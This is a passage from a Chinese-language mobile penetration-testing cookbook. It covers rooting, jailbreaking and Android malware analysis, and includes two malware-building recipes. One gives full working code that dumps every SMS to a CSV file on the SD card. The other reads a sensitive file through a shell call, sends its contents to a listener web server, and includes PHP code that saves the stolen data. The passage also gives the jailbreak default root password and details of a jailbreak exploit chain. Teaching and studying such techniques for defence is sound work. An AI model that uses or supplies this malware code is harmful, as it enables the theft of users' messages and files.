各种代理工具可以从它们的官网上下载。这些工具使用起来相对简单,并且有相关的指南和帮助论坛。虽然本书不涉及这些工具的安装,但我们会讲解如何为移动应用配置这些工具。
以下是一些常见代理工具的链接:
-
一条 Wi-Fi 网络
我们需要一个 Wi-Fi 网络来拦截 Wi-Fi 流量。稍后我们将为移动设备设置代理,连接到运行代理工具的笔记本电脑,且两者处于同一 Wi-Fi 网络中。
你可以使用 Wi-Fi 路由器设置个人 Wi-Fi 网络,或者使用一些可用的免费工具从笔记本电脑创建一个热点。根据我们的经验,后者有时难以使用,因此我们更倾向于使用前者。
-
工具如 SQLite 浏览器、文本编辑器、XML 查看器和 plist 编辑器
这些是用于读取从手机提取的数据的附加工具。这些工具可以免费下载,或者你可能已经拥有它们。
plist 文件在 iOS 应用程序中用于存储数据,plist 编辑器在读取这些文件时非常有用。
-
一条数据线
拥有一条数据线也很重要。稍后我们将用它连接到手机,以读取数据并进行通过 USB 发起的攻击。
-
工具如 otool 和 classdump
这些工具是 iOS 应用程序的反编译工具。
它是如何工作的…
准备好渗透测试实验室的工具后,接下来我们来看一下如何将渗透测试用例与不同类别进行关联,同时使用这些工具:
-
与移动应用程序流量相关的攻击:在这里,Wi-Fi 网络和代理工具将发挥重要作用。一台安装了 Charles 或 Burp 代理的笔记本电脑连接到 Wi-Fi。运行应用程序的 iOS 设备通过代理配置,连接到笔记本电脑的代理。由于笔记本电脑和移动设备在同一 Wi-Fi 网络上,应用程序流量通过 Charles 或 Burp 代理工具进行路由。这种设置不需要 MacBook(任何其他笔记本电脑都可以),但需要 iOS 设备。
另一种可能性是我们可以使用 MacBook,但不使用 iOS 设备。在这种情况下,我们将通过 Xcode 和模拟器运行应用程序。代理设置为 MacBook 上的 localhost,那里运行着如 Burp 或 Charles 之类的代理工具。
实际上,这两种方法都使应用程序流量通过代理工具变得可读和可编辑,我们可以进行各种攻击,这将在另一个章节中讨论。
-
与移动设备存储相关的攻击:我们有一条数据线将 iPhone 或 iPad 连接到笔记本电脑。我们可以在笔记本电脑上使用 iExplorer 工具读取和窃取文件及其他数据。
-
与移动应用程序源代码相关的攻击:我们讨论了 otool 和 classdump 工具。在 iOS 应用程序的情况下,只能进行有限的反编译,而这些工具只能帮助到一定程度。稍后的某一章节将详细介绍这一点。
还有更多…
- 涉及移动操作系统功能的攻击,这些功能被移动应用程序使用
这是最复杂的类别,尤其在 iOS 平台上更为复杂。iOS 系统中有多个应用程序交互的功能,比如截屏后台、蓝牙、NFC 等等。这些功能与应用程序的交互,以及这些功能在应用程序中的不安全实现,会导致漏洞。一个常见的例子是 iOS 应用程序中的截屏后台漏洞。
Rooting 和越狱介绍
从根本上讲,rooting(获取 root 权限)是获取对底层 Linux 系统的 root 访问权限,以便执行诸如挂载/卸载文件系统、运行 SSH、HTTP、DHCP、DNS 或代理守护进程、终止系统进程等操作。
能够以 root 用户身份运行命令,使我们能够在 Linux 上做任何事情,因此,也可以在 Android 系统上执行任何操作。
越狱是特权提升过程,通过这个过程我们可以移除 Apple 在 iOS 设备上施加的硬件级限制。越狱允许访问 iOS 文件系统和管理器,从而可以下载官方 Apple 应用商店无法提供的额外应用、扩展和主题。
准备工作
Root 一个 Android 设备所需的只是一个 USB 数据线、一台未 root 的 Android 设备,以及一个可以通过 ADB、一键 root 程序/应用或可以刷入设备的修改版 ROM 运行的漏洞代码。
iOS 越狱所需的设备是 USB 数据线、iOS 设备和越狱程序。
如何操作…
在这里我们将介绍两个步骤:rooting 和越狱。
Rooting
实际的 rooting 过程本身应该只需点击一次。但在此之前,你需要先做一些快速的设置:
-
在继续操作之前,下载并安装 Java JDK 和 Android SDK。必须先安装 Java,之后才能安装 Android SDK。
-
在你的 Android 设备上启用USB 调试。在设备上,进入设置屏幕,点击应用程序,点击开发,然后勾选USB 调试复选框:
完成这些操作后,rooting 过程本质上是通过在互联网上搜索适合你特定设备的测试过的 root 方法。大多数 Android 设备的 root 过程可以归类为以下几种:
-
使用 rooting 应用程序:在这个过程中,你需要执行以下任务:
-
在你的计算机上安装 rooting 应用程序
-
将启用了USB 调试的 Android 设备连接到电脑
-
按照简单的说明操作以 root 你的设备
-
-
使用 rooting 应用程序:在此过程中,你需要执行以下任务:
-
下载 rooting APK 文件
-
在 Android 设备的开发设置中启用USB 调试模式并允许来自未知来源的安装
-
使用
adb install /path/to/apk
安装 rooting APK 文件 -
按照屏幕上的指示完成 Android 设备的 root 操作
-
-
刷入自定义 ROM:在此过程中你需要执行以下任务:
-
将修改后的 ROM 复制到 Android 设备的 SD 卡中(作为
.zip
文件) -
在恢复模式下重启设备
-
前往恢复菜单的 安装 或 从 SD 卡安装 zip 部分
-
导航到
.zip
文件,并从列表中选择它进行刷机
-
-
越狱
在进行越狱之前,你应该备份设备。如果因为某种原因越狱失败,你可以恢复备份。
越狱过程包括将程序下载到 Mac/Windows 机器上,通过 USB 数据线将 iOS 设备连接到计算机,然后运行该工具。其中一个工具是 evasi0n:
这些说明已与工具一起提供,应该按步骤遵循。
作为越狱过程的一部分,该工具会在目标 iOS 设备上安装 Cydia。
Cydia 是一个替代的 App Store,包含除了 Apple 提供的并通常被 批准 的 iOS 应用之外的其他应用。大多数这些应用由越狱社区开发,例如用于使用自定义主题和小部件、改变默认应用等的工具。
它是如何工作的……
让我们逐个查看与这些过程相关的详细信息。
Root 权限
能够以 root 用户身份运行命令使我们能够在 Linux 系统上执行任何操作,因此,也可以扩展到 Android 系统上。
为 Android 设备进行 root 的过程通常包括两个步骤:
-
找到一个允许作为
root
执行任意代码的漏洞。 -
使用漏洞来安装
su
。
如果目标设备解锁了 bootloader,那么这个过程相当简单。未打包的 bootloader 允许刷入任意的 ROM,因此可以将 su
添加到官方 ROM 中,然后将其重新打包为修改版 ROM。用户只需在开机时按下组合键将设备重启到刷机模式,并使用设备的工具将修改版 ROM 刷入设备。
那么,对于那些具有锁定 bootloader 的设备怎么办?你只能与系统中的非特权程序进行交互,它们无法帮助你执行任何特权代码。
许多程序,例如系统服务,都会以 root 身份在 Android 上运行,以便能够访问底层硬件资源。
所有一键 Root 方法都利用了运行在特权模式下的系统进程中的漏洞,执行特定的代码,使系统以读写模式挂载并安装 su
二进制文件,从而获得对系统的特权访问。
越狱
越狱过程因工具而异,对于不同的 iOS 版本需要遵循不同的步骤。在这里,我们分析一个用于越狱 iPhone 5 的工具的结构。
越狱程序首先通过运行 libimobiledevice
利用 iOS 的移动备份系统中的漏洞,获取通常受限的文件(该文件包含时区设置)的访问权限。
注意
libimobiledevice 是一个跨平台的软件库,支持与 iOS 设备进行协议通信。它允许其他软件轻松访问设备的文件系统;获取关于设备及其内部信息;备份和恢复设备;管理已安装的应用程序;获取通讯录、日历、笔记和书签;并将音乐和视频同步到设备。
更多信息可以在 www.libimobiledevice.org/
上找到。
然后,它插入一个“符号链接”指向某个已修改的“套接字”,使得程序能够与 launchd 通信,launchd 是一个主进程,每当 iOS 设备启动时会加载它,并且可以启动需要“root”权限的应用程序。
因此,现在,每当 iOS 移动备份运行时,所有程序都会自动获得访问时区文件的权限,从而获得对 launchd 的访问权限。
挺酷的,对吧?
iOS 实现了代码签名作为一种防护措施,防止任何“未受信任”的应用程序获得访问 launchd 的权限。
所以为了破解代码签名,越狱工具启动了一个新的、未签名的、看似无害的应用程序。但当用户被提示点击应用程序图标时,该应用程序使用了一种名为 shebang 的技术,调用了另一个已签名应用程序的代码,在这种情况下是 launchd。
Shebang 是一个字符序列,由井号符号和感叹号符号组成(即 #!
),位于脚本的开头。
在 Unix 中,当带有 shebang 的脚本作为程序运行时,程序加载器会将脚本的初始行解析为解释器指令;然后指定的解释器程序将被运行,并将原本用于运行脚本的路径作为参数传递给它。
例如,如果代码的路径是 path/to/code
,并且它以 #!/bin/sh
开头,那么程序加载器会指示程序运行 /bin/sh
,并将 path/to/code
作为第一个参数传递给它。
然后,launchd 被用来运行 remount
命令,该命令将只读根文件系统的内存设置更改为可写。
为了使越狱“持久化”,调用了 launchd.conf
文件来更改 launchd 配置。用户现在不需要在每次重启时重新运行该程序。
越狱工具接着进行最后的突破,去除内核级别的限制。iOS 内核使用 Apple Mobile File Integrity Daemon(AMFID)来防止未批准的应用程序运行。越狱程序再次利用 launchd,向 AMFID 加载一个功能库,以便始终批准所有应用程序。
内核施加的第二个限制是 地址空间布局随机化(ASLR),用于通过随机化或“隐藏”设备代码每次启动时的方式,防止内存被篡改。这将防止有人覆盖代码的特定部分。
然后,越狱工具利用一个巧妙的技巧定位内存中的一个特定区域;ARM 异常向量。该部分处理应用崩溃,指示崩溃发生的内存位置。
崩溃是通过越狱工具模拟的,通过检查 ARM 异常向量来查看崩溃发生的位置,并收集最少的信息,足以映射出其余的内核。
该工具的最后一步利用了 iOS USB 接口中的一个漏洞,该漏洞将内核内存中的地址传递给程序,并期望程序返回未被篡改的地址。
这使得该工具能够写入内核中限制代码更改的部分,从而完全控制并成功实现其目的!
第二章 移动恶意软件攻击
在本章中,我们将涵盖:
-
分析 Android 恶意软件样本
-
使用 Androguard 进行恶意软件分析
-
从头开始编写 Android 自定义恶意软件
-
Android 权限模型绕过
-
反向工程 iOS 应用程序
-
在 iOS 环境中分析恶意软件
介绍
我们可能对攻击我们计算机的病毒了解很多,但是针对我们移动设备的病毒呢?
也许你会惊讶地发现,针对移动设备的恶意软件,也就是移动恶意软件,正在增长,感染了所有主要的智能手机平台。
在本章中,我们将了解恶意软件,它们如何影响我们的智能手机,如何分析它们以及如何创建我们自己的样本。
分析 Android 恶意软件样本
让我们从分析一个简单的基于 Android 的恶意软件应用开始,名为Android.Dogowar。这个恶意软件是 Android 游戏应用Dog Wars的重新打包版本,可以从第三方应用商店下载,并且在分析过程中必须手动安装到 Android 设备上。
Dog Wars 是一个用户可以培育、训练和与虚拟狗战斗的游戏。这个游戏引起了动物权利抗议者的强烈抗议,通过公开抗议和写信活动。在这些尝试似乎对说服开发者停止应用没有太大效果后,一群抗议者针对最终用户传达他们的信息。
原始的 Dog Wars 应用(Beta 0.981)被重新打包为恶意软件,并放在几个第三方应用商店供下载。
在安装过程中,恶意软件应用要求用户授予短信权限等。
安装后,恶意软件的显示图标几乎与合法应用的图标相同,唯一的区别是恶意软件应用在应用图标中显示PETA
而不是BETA
。
打开后,该应用向受感染设备联系人列表中的所有人发送了以下消息的短信:我喜欢伤害小动物,只是想让你知道。
准备工作
如前一章所述,Android Studio/独立 SDK 工具和 JDK v7 或更新版本应该已安装并可用。
我们主要将使用三个工具进行分析:
-
Apktool:这个工具将用于反编译 APK 文件以获取反编译代码。可以从 http://ibotpeaches.github.io/Apktool/ 获取这个工具。
-
Dex2Jar:这个工具将 Dalvik 可执行(
.dex
)文件转换为 JAR 文件。可以从 http://sourceforge.net/projects/dex2jar/ 下载这个工具。 -
JD-GUI:这个工具读取 JAR 文件并显示其中的代码。访问 http://jd.benow.ca/ 下载 JD-GUI。
如何做...
让我们从分析恶意 APK 开始我们的分析。我们首先通过反汇编恶意 APK 来开始。
-
使用以下命令将 APK 转换为 JAR 文件:
**/path/to/dex2jar/d2j-dex2jar.bat /path/to/AndroidDogowar.apk**
如下截图所示:
我们已经成功地将 APK 转换为 JAR 文件进行代码分析。现在,我们需要阅读代码,识别其中的恶意元素。我们将使用 JD-GUI 来完成这个任务。
-
导航到 JD-GUI 安装目录并打开应用程序。打开新创建的
AndroidDogowar-dex2jar.jar
,这就是我们看到的内容: -
由于原始应用程序是一个游戏应用,我们的分析将从搜索诸如
url
、http
、sms
等关键词开始。在快速搜索后,我们发现感染的类是
Rabies
,位于dogbite
包下,因为它导入了android.telephony.SmsManager
类: -
通过进一步分析类文件,我们可以看到
onStart
函数调用了sendTextMessage
发送一条标题为I take pleasure in hurting small animals, just thought you should know that
的短信。
它是如何工作的...
恶意代码被注入为一个名为 Dogbite
的包。该包定义了一个名为 Rabies
的服务,该服务在受损 Android 设备启动时在后台启动,并执行核心功能。一旦服务启动,它会向你手机上联系人列表中的所有人发送短信。
该应用还向 73882
发送了一条包含词语 text
的短信,显然这将受损设备的用户注册为 PETA(美国伦理对待动物协会)运营的警报服务用户。
这是它的工作原理:
以下代码遍历每个联系人:
Cursor localCursor1 = getContentResolver().query(ContactsContract.Contacts.CONTENT_URI, null, null, null, null);
随后的代码用于将联系人列表加载到 str
字符串中:
if (localCursor1.getCount() > 0);
String str;
do
{
if (!localCursor1.moveToNext())
return;
str = localCursor1.getString(localCursor1.getColumnIndex("_id"));
}
while (Integer.parseInt(localCursor1.getString(localCursor1.getColumnIndex("has_phone_number"))) <= 0);
然后,它使用联系人内容提供者来返回加载的电话号码:
Cursor localCursor2 = getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, null, "contact_id = " + str, null, null);
以下代码用于向列表中的所有联系人发送短信:
localSmsManager.sendTextMessage(localCursor2.getString(localCursor2.getColumnIndex("data1")), null, "I take pleasure in hurting small animals, just thought you should know that", null, null);
最后,这段代码将用户订阅到 PETA 的短信提醒服务:
if (!localCursor2.moveToNext())
{
localSmsManager.sendTextMessage("73822", null, "text", null, null);
break;
}
还有更多内容...
如果你精通 smali,你可以使用 apktool
反编译应用程序并分析 smali 文件中的模式。
要使用 apktool
进行反编译,请使用以下命令:
**apktool d C:\<path_to_apk>**
该命令将创建一个与 APK 名称完全相同的目录,在该目录下我们可以找到反编译后的文件。
使用 Androguard 进行恶意软件分析
Androguard 是一个基于 Python 的工具,用于分析 Android 应用程序。它的功能使恶意软件分析变得更加轻松。
在本教程中,我们将介绍 Androguard 及其各种功能。
准备工作
确保你的机器上已安装 Python。可以从www.python.org/ftp/python/2.7.10/python-2.7.10.msi
下载适用于 Windows 的 Python 2.7.10。所有 Python 版本都可以从www.python.org/downloads/
下载。
从 GitHub 下载 Androguard,网址为github.com/androguard/androguard
,并将其放在你选择的目录中。
转到 Androguard 目录,并从命令提示符或终端运行以下命令:
**Python setup.py install**
我们将使用经过重新打包的 NickiSpy 恶意软件作为我们的示例。
NickiSpy 在 2011 年左右获得了相当大的声誉。它将通话记录保存到设备的 SD 卡,并将设备的 IMEI 发送到中国的一个电话号码。此外,它还记录了设备的 GPS 坐标,并与位于中国的远程服务器建立连接。
如何操作...
现在我们已经安装了 Androguard,让我们开始分析我们的恶意软件:
-
在终端中运行以下命令:
**python androlyze.py -s**
该命令启动了它自己的输入提示符。现在让我们定义 APK 的路径以及我们希望使用的反编译器类型。
-
输入此命令到提示符中,并将
path_to_apk
替换为我们想要分析的 APK 的路径:**a,d,dx = AnalyzeAPK("path_to_apk", decompiler="dad")**
这是在下面截图中显示的内容:
-
在输入提示符中使用以下命令,获取应用程序使用的所有权限:
**a.get_permissions()**
这是前面命令的输出:
从权限来看,可以明显看出该应用程序请求读取/写入短信和联系人、访问 GPS、录音、访问来电等,这足以引起许多警报。
-
让我们进一步分析类名。请在输入提示符中运行以下命令:
**d.get_classes_names()**
查看以下输出:
-
当我们查看
CallListener
、SMSListener
、RecorderService
、GPSService
等类时,我们进一步加强了最初的印象。现在我们有足够的理由相信目标应用程序被感染了。 -
我们可以进一步列出应用程序中定义的所有字符串和方法作为输出,使用这些命令:
**d.get_strings()** **d.get_methods()**
-
若要一次查看所有这些信息,请在命令提示符中使用以下命令:
**python androapkinfo.py -i <path_of_apk>**
检查前面命令的输出:
一项看似棘手的任务是找出一个应用程序是否真的是恶意软件,还是一个合法的应用程序。Androguard 提供了一个选项,允许我们比较两个 Android 应用程序,使用一个名为 Androdiff 的工具。
Androdiff 是一个与 Androguard 一起捆绑的 Python 脚本,用于提取和观察两个 Android 应用程序之间的差异。
-
使用以下命令:
**python androdiff.py -i <first apk> <second apk>**
让我们对一个简单的
Hello World
应用程序和伪装成Hello World
应用程序的恶意软件运行该命令。现在,我们可以通过仔细查看输出结果来分析结果。
以下块显示了有
3536
个相同的元素,这意味着这两个应用程序实际上非常相似。还有一个相似的元素,表示某些代码可能有改进的空间,最后是3
个新元素,表示一个应用程序中存在附加代码: -
扫描输出内容,进一步查看,我们看到以下内容:
这向我们展示了新的方法backupSMS
和generateCSVFileForSMS
已经添加到恶意软件应用程序中,最终形成了SMSCopy
应用。
还有更多内容...
要阅读更多关于 Android 恶意软件和相关分析的书籍,推荐一本好书是Android 恶意软件与分析,Auerbach 出版公司(www.crcpress.com/product/isbn/9781482252194
)。
从零开始为 Android 编写自定义恶意软件
在这里,我们将学习如何为 Android 平台创建简单的恶意软件。我们将创建一个简单的恶意软件,复制用户短信应用中的所有文本消息,并将它们作为.csv
文件存储在 SD 卡中。
正在准备中
确保你已经按照第一章中的所有步骤创建了一个 Android 应用程序。
操作步骤...
一旦应用程序成功创建,你可以按照以下步骤操作:
-
打开 Android Studio 并创建一个名为
SMSCopy
的新项目: -
我们将使用 API15:Android 4.0.3 作为目标平台。你也可以选择其他你喜欢的版本。
-
选择空白活动并点击完成。你的项目工作空间现在应该像这样:
-
在左侧窗口中,导航到并打开
app/java/com.your_package_name/MainActivity
文件。 -
在最后一个闭合括号之前(文件末尾)添加以下代码:
public ArrayList<String> smsBuffer = new ArrayList<String>(); String smsFile = "SMS"+".csv"; private void backupSMS(){ smsBuffer.clear(); Uri mSmsinboxQueryUri = Uri.parse("content://sms"); Cursor cursor1 = getContentResolver().query(mSmsinboxQueryUri, new String[] { "_id", "thread_id", "address", "person", "date", "body", "type" }, null, null, null); String[] columns = new String[] { "_id", "thread_id", "address", "person", "date", "body", "type"}; if (cursor1.getCount() > 0) { String count = Integer.toString(cursor1.getCount()); Log.d("Count", count); while (cursor1.moveToNext()) { String messageId = cursor1.getString(cursor1.getColumnIndex(columns[0])); String threadId = cursor1.getString(cursor1.getColumnIndex(columns[1])); String address = cursor1.getString(cursor1.getColumnIndex(columns[2])); String name = cursor1.getString(cursor1.getColumnIndex(columns[3])); String date = cursor1.getString(cursor1.getColumnIndex(columns[4])); String msg = cursor1.getString(cursor1.getColumnIndex(columns[5])); String type = cursor1.getString(cursor1.getColumnIndex(columns[6])); smsBuffer.add(messageId + "," + threadId + "," + address + "," + name + "," + date + " , " + msg + " ,"+ type); } generateCSVFileForSMS(smsBuffer); } } private void generateCSVFileForSMS(ArrayList<String>list) { try { String storage_path = Environment.getExternalStorageDirectory().toString()+File.separator+ smsFile; System.out.println("Balle!!!!!!"); FileWriter write = new FileWriter(storage_path); write.append("messageId, threadId, Address, Name, Date, msg, type"); write.append('\n'); for (String s : list) { write.append(s); write.append('\n'); } write.flush(); write.close(); } catch (NullPointerException e) { System.out.println("Nullpointer Exception "+e); } catch (IOException e) { e.printStackTrace(); } catch (Exception e) { e.printStackTrace(); } }
-
现在,在
onCreate
方法中的setContentView(R.layout.activity_main);
代码行后添加以下行:backupSMS();
-
确保在
Mainactivity.java
文件中有以下import
语句:import android.database.Cursor; import android.net.Uri; import android.os.Bundle; import android.os.Environment; import android.support.v7.app.ActionBarActivity; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import java.io.File; import java.io.FileWriter; import java.io.IOException; import java.util.ArrayList;
-
导航到
app** | **manifests** | **AndroidManifest.xml
并在</application>
标签下添加以下行:<uses-permission android:name="android.permission.WRITE_SMS"/> <uses-permission android:name="android.permission.READ_SMS"/> <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE"/> <uses-permission android:name="android.permission.MOUNT_UNMOUNT_FILESYSTEMS"/>
-
现在,在模拟器或连接的设备上运行项目。你将看到设备上有一个名为
SMSCopy
的应用程序。 -
运行应用程序后,我们得到一个显示简单
Hello World
文本的页面。让我们看看恶意软件是否在后台实际运行了。 -
在命令提示符中,运行以下命令:
**adb shell**
-
现在你应该有一个 shell 提示符。在提示符中输入:
**cd sdcard** **ls**
-
现在,我们看到在设备的 SD 卡目录中有一个名为
SMS.csv
的文件。在 shell 中运行以下命令:**cat SMS.csv**
现在我们可以看到所有的短信已经成功复制到文件中并存储在 SD 卡上:
它是如何工作的...
我们将目标文件名指定为SMS.csv
,并创建一个名为backupSMS()
的函数,在其中我们通过内部调用content://sms
URI 访问设备的短信。然后,我们创建一个用于查询短信数据并定义各种字段的游标:thread_id
、address
、person
和date
,如下所示:
public ArrayList<String> smsBuffer = new ArrayList<String>();
String smsFile = "SMS"+".csv";
private void backupSMS(){
smsBuffer.clear();
Uri mSmsinboxQueryUri = Uri.parse("content://sms");
Cursor cursor1 = getContentResolver().query(mSmsinboxQueryUri, new String[] { "_id", "thread_id", "address", "person", "date", "body", "type" }, null, null, null);
String[] columns = new String[] { "_id", "thread_id", "address", "person", "date", "body", "type" };
接下来,我们将光标移动到递归读取所有短信数据,并将其存储在定义的字符串数组中:
if (cursor1.getCount() > 0) {
String count = Integer.toString(cursor1.getCount());
Log.d("Count", count);
while (cursor1.moveToNext()) {
String messageId = cursor1.getString(cursor1.getColumnIndex(columns[0]));
String threadId = cursor1.getString(cursor1.getColumnIndex(columns[1]));
String address = cursor1.getString(cursor1.getColumnIndex(columns[2]));
String name = cursor1.getString(cursor1.getColumnIndex(columns[3]));
String date = cursor1.getString(cursor1.getColumnIndex(columns[4]));
String msg = cursor1.getString(cursor1.getColumnIndex(columns[5]));
String type = cursor1.getString(cursor1.getColumnIndex(columns[6]));
现在,我们已经将所有值分开存储在单独的数组中,我们将它们添加到我们预定义的smsBuffer
缓冲区中,并将它们传递给另一个函数generateCSVFileForSMS()
:
smsBuffer.add(messageId + ","+ threadId+ ","+ address + "," + name + "," + date + " ," + msg + " ," + type);
}
generateCSVFileForSMS(smsBuffer);
}
让我们看看generateCSVFileForSMS()
函数:
String storage_path = Environment.getExternalStorageDirectory().toString() + File.separator + smsFile;
FileWriter write = new FileWriter(storage_path);
write.append("messageId, threadId, Address, Name, Date, msg, type");
write.append('\n');
for (String s : list)
{
write.append(s);
write.append('\n');
}
write.flush();
write.close();
}
这本质上指示 Android 设备定位外部存储路径,将文件名SMS.csv
附加到其中,并将其分配给storage_path
变量。
然后打开文件写入器,并将所有数组值写入生成的文件。
还有更多...
我们可以通过创建一个接收和存储输入的远程服务器来扩展恶意软件的功能,并通过 GET 或 POST 请求从目标 Android 设备将此文件发送到远程服务器。
另请参阅
- 尝试以相同的方式玩弄联系人、短信、彩信和浏览数据,通过探索
android.content
。欲了解更多信息,请访问developer.android.com/reference/android/content/package-summary.html
。
Android 中的权限模型绕过
到目前为止,我们知道所有 Android 应用程序都需要明确的权限来执行某些功能或处理某些数据。这些权限在打包在 APK 内的AndroidManifest.xml
文件中定义。
读取文本消息的典型权限看起来像这样:
<uses-permission android:name="android.permission.READ_SMS" />
显然,一个简单的应用程序如果需要权限来访问 GPS 位置、读取联系人、读取短信和写入外部存储,会引起怀疑。
现在,如果一个应用程序不需要任何特殊权限,那它会被认为是一种良性应用程序,对吧?
在这个示例中,我们学习了一种简单的方法来执行恶意活动,而无需我们的应用程序需要任何特殊权限。
准备工作
我们只需要安装和运行 Android Studio 和 SDK,如前面的示例中所解释的那样。
我们需要创建一个监听 Web 服务器,我们将使用 XAMPP,可以从www.apachefriends.org/index.html
下载。
如何做...
让我们制作一个应用程序,从 SD 卡读取文件并将其发送到远程服务器,而无需任何特殊权限。我们首先在 SD 卡上创建一个名为sensitive.txt
的文件:
-
发出以下命令以访问设备 shell:
**adb shell**
-
导航到 SD 卡并创建带有内容
Username:Akshay. Password:secret123
的sensitive.txt
,输入以下命令:**cd sdcard** **echo "Username: Akshay Password: secret123" > sensitive.txt**
-
验证文件是否已创建:
**cat /sdcard/sensitive.txt**
现在我们已经准备好敏感文件,让我们编写代码来窃取该文件并将其上传到服务器。按照前面的食谱步骤创建一个新项目并打开基本项目窗口,然后执行以下步骤:
-
我们现在将添加代码来读取
sensitive.txt
并将其数据上传到远程服务器。 -
在左侧窗口中,导航到并打开
MainActivity.java
文件,路径为app** | **java** | **com."your_package_name"** | **MainActivity
。 -
将以下代码添加到
protected void onCreate(Bundle savedInstanceState)
函数内,setContentView(R.layout.activity_main);
行下方:FileInputStream in; BufferedInputStream buf; Intent intent = getIntent(); Bundle extras = intent.getExtras(); StringBuffer sb = new StringBuffer(""); String line = ""; String NL = System.getProperty("line.separator"); String str = "cat /mnt/sdcard/sensitive.txt"; Process process = null; try { process = Runtime.getRuntime().exec(str); } catch (IOException e) { throw new RuntimeException(e); } BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); int read; char[] buffer = new char[4096]; StringBuffer output = new StringBuffer(); try { while ((read = reader.read(buffer)) > 0) { output.append(buffer, 0, read); } } catch (IOException e) { throw new RuntimeException(e); } try { reader.close(); } catch (IOException e) { throw new RuntimeException(e); } try { process.waitFor(); } catch (InterruptedException e) { } String data = output.toString(); startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://10.0.2.2/input.php?input=" + data)));
我们在代码中使用了
http://10.0.2.2
作为我们的网页服务器地址,因为我们在模拟器中测试此应用程序,并且在尝试通过模拟器访问时,主机的 IP 地址始终是10.0.2.2
。如果你使用的是实际的 Android 设备进行测试,确保设备与工作站连接,并将 IP 地址替换为工作站的 IP 地址。 -
确保文件中包含以下导入:
import android.content.Intent; import android.net.Uri; import android.support.v7.app.ActionBarActivity; import android.os.Bundle; import android.util.Log; import android.view.Menu; import android.view.MenuItem; import java.io.*;
我们现在已经成功创建了一个恶意软件,具有无法读取
sensitive.txt
文件的权限,准备将其上传到远程服务器。现在,让我们创建我们的监听页面。 -
创建一个名为
input.php
的文件,并添加以下代码:<?php $File = "output.txt"; $Handle = fopen($File, 'w'); $Data = $_GET['input']; fwrite($Handle, $Data); fclose($Handle); } ?>
-
将此文件保存在 XAMPP 安装目录中的
htdocs
文件夹中。另外,创建一个空白文件output.txt
并保存。 -
打开 XAMPP 控制面板并启动 Apache 服务:
-
现在我们的设置已经准备好,让我们运行我们的应用程序。在目标设备上运行应用程序后,打开 XAMPP 安装目录,并找到
output.txt
文件:
它是如何工作的...
以下代码创建一个文件输入流读取器来读取sensitive.txt
并创建一个缓冲区来存储内容:
FileInputStream in;
BufferedInputStream buf;
Intent intent = getIntent();
Bundle extras = intent.getExtras();
StringBuffer sb = new StringBuffer("");
我们在 Android 设备上执行以下命令:
**cat /mnt/scard/sensitive.txt**
以下代码正是实现此功能的代码:
process = Runtime.getRuntime().exec(str);
剩余的代码用于读取文件的每一行,并将其存储在str
字符串中:
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream()));
int read;
char[] buffer = new char[4096];
StringBuffer output = new StringBuffer();
try {
while ((read = reader.read(buffer)) > 0) {
output.append(buffer, 0, read);
}
} catch (IOException e) {
// TODO Auto-generated catch block
throw new RuntimeException(e);
}
try {
reader.close();
} catch (IOException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
throw new RuntimeException(e);
}
// Waits for the command to finish.
try {
process.waitFor();
} catch (InterruptedException e) {
// TODO Auto-generated catch block
//e.printStackTrace();
}
String data = output.toString();
最后,我们通过 GET 方法将捕获的数据发送到服务器:
startActivity(new Intent(Intent.ACTION_VIEW, Uri.parse("http://10.0.2.2/input.php?input=" + data)));
还有更多...
在 Android 权限绕过、获取 root 权限和扩展权限方面还有很多可以探索的内容。请参考另见部分中提到的链接。
另见
逆向工程 iOS 应用程序
在本食谱中,我们将学习如何在 iOS 平台上进行逆向工程。
准备中
目标设备需要越狱才能顺利进行逆向工程活动。
从www.i-funbox.com安装i-Funbox到你的计算机。i-Funbox 是一个 iPhone、iPad 和 iPod Touch 的应用管理工具。我们将使用此工具进行设备和应用分析。
从 https://code.google.com/p/networkpx/wiki/class_dump_z 下载 class_dump_z 工具。
操作方法...
以下步骤帮助你在 iOS 平台上进行逆向工程:
-
使用 USB 电缆将越狱设备连接到你的工作站。
-
打开 i-Funbox 应用程序。界面应如下所示:
-
让我们在设备上安装一个恶意软件应用程序,并通过 i-Funbox 探索它。
-
在你的计算机文件系统中定位恶意软件。
-
在 i-Funbox 的左侧面板中,点击Cydia 应用安装。屏幕中央出现一个空白区域:
-
现在,将恶意软件拖放到空白区域:
-
为了完成安装,只需重启设备。就这样!恶意软件已安装并准备好进行分析。
-
现在解压
.deb
文件以查看包的内容。解压后的目录包含一个名为data.tar
的文件,可以进一步解压到data
目录。我们现在进一步探索到
/data/bin
,在这里我们找到了三个文件:-
com.xsser.0day.iphone.plist
-
xsser.0day_t
-
xsser.0day_t.sh
-
-
在 i-Funbox 中,点击原始文件系统:
由于我们知道其中一个文件是一个 shell 文件,接下来我们检查该文件是否已经作为二进制文件安装到设备上。
-
导航至
bin
目录。我们看到该 shell 文件实际上位于 bin 目录中,以及之前识别的其他文件。越狱设备默认会监听一个 SSH 服务器,用户为root
,密码为alpine
。 -
在命令提示符/终端中,输入以下命令:
**ssh root@<ip_of_device>**
-
当提示输入密码时,输入
alpine
。最重要的要求之一是能够查看 iOS 应用程序的源代码。可以通过一个名为class_dump-z
的工具来实现这一点。 -
导航至
class_dump_z
所在的目录。 -
我们将使用一个预安装的应用程序来实现这一目标。
-
使用 i-Funbox,导航到应用程序目录,点击Contacts~iphone,然后点击复制到 PC。选择你电脑上的目标目录,并点击保存:
-
现在让我们转储这个应用程序的类。导航至
class_dump_z
目录,并执行以下命令:
**class-dump-z.exe "C:\Akshay\output\ios\Contacts~iphone.app\Contacts~iphone" > Contacts-class_dump.txt**
你的输出应如下所示:
我们现在已经获取了所有类、方法以及相关信息的转储数据,供我们分析使用。
以下代码段展示了一个名为SearchRequestHistoryItem
的类,它继承自PersistentSearchRequestHistoryItem
:
@interface SearchRequestHistoryItem : PersistentSearchRequestHistoryItem <HistoryItem> {
}
@property(readonly, assign, nonatomic) BOOL hasMultipleLocations;
-(id)displayQuery;
-(int)type;
-(unsigned)hash;
-(BOOL)isEqual:(id)equal;
-(id)initWithRequest:(id)request displayQuery:(id)query location:(id)location hasMultipleLocations:(BOOL)locations;
-(id)initWithRequest:(id)request displayQuery:(id)query location:(id)location;
